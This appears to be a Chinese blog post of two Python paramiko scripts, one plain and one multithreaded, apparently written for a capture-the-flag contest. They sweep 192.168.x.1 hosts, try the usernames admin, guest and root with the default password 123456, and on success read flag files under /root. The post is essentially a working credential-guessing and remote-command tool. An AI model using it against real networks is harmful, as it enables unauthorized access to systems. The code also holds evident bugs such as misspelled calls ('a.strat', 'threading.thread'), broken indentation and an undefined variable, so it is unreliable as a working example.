Python-SSH批量登陆并执行命令

Python-SSH批量登陆并执行命令

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
from time import ctime
usernm = ["admin","guest","root"]
passwd = "123456"
def ssh():
    for i in range(1,254):
        for user in usernm:
            try:
                host = "192.168.%s.1"%i
                s=paramiko.SSHClient()
                #创建ssh对象
                s.load_system_host_keys()
                s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                #自动加载主机密钥 yes\no
                s.connect(hostname=host,username=user,password=passwd)
                stdin,stdout,stderr = s.exec_command('cat /root/flagvalue.txt')
                print "192.168.%s.1  USER:[%s]  Time:[%s]"%(i,user,ctime())
                dd = stdout.read()
                print dd
                stdin,stdout,stderr = s.exec_command('exit')
                s.close
                if dd != None:
                    dd = None
                    break
           except:
               pass
print ssh()

跨网段批量登陆时速度明显会变慢

下面时运行结果图：

多线程版本

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
import threading
from time import ctime,sleep
def ssh():
    usernm = ["admin","guest","root"]
    ip = "192.168.%s.1"%i
    for user in usernm:
                try:
                    s=paramiko.SSHClient()
                    s.load_system_host_keys()
                    s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                    s.connect(hostname=ip,username=user,password='123456')
                    stdin,stdout,stderr = s.exec_command('cat /root/flag*')
                    print "192.168.%s.1  USER:[%s]  Time:[%s]"%(i,uer,ctime())
                    dd = stdout.read()
                    print dd

                    stdin,stdout,stderr = s.exec_command('exit')
                    s.close
                    if dd != None:
                       dd = None
                       break
                except:
                    pass

for i in range(100,200):
        a=threading.thread(target=ssh,arg=())
        sleep(0.1)
        a.strat()

运行效果：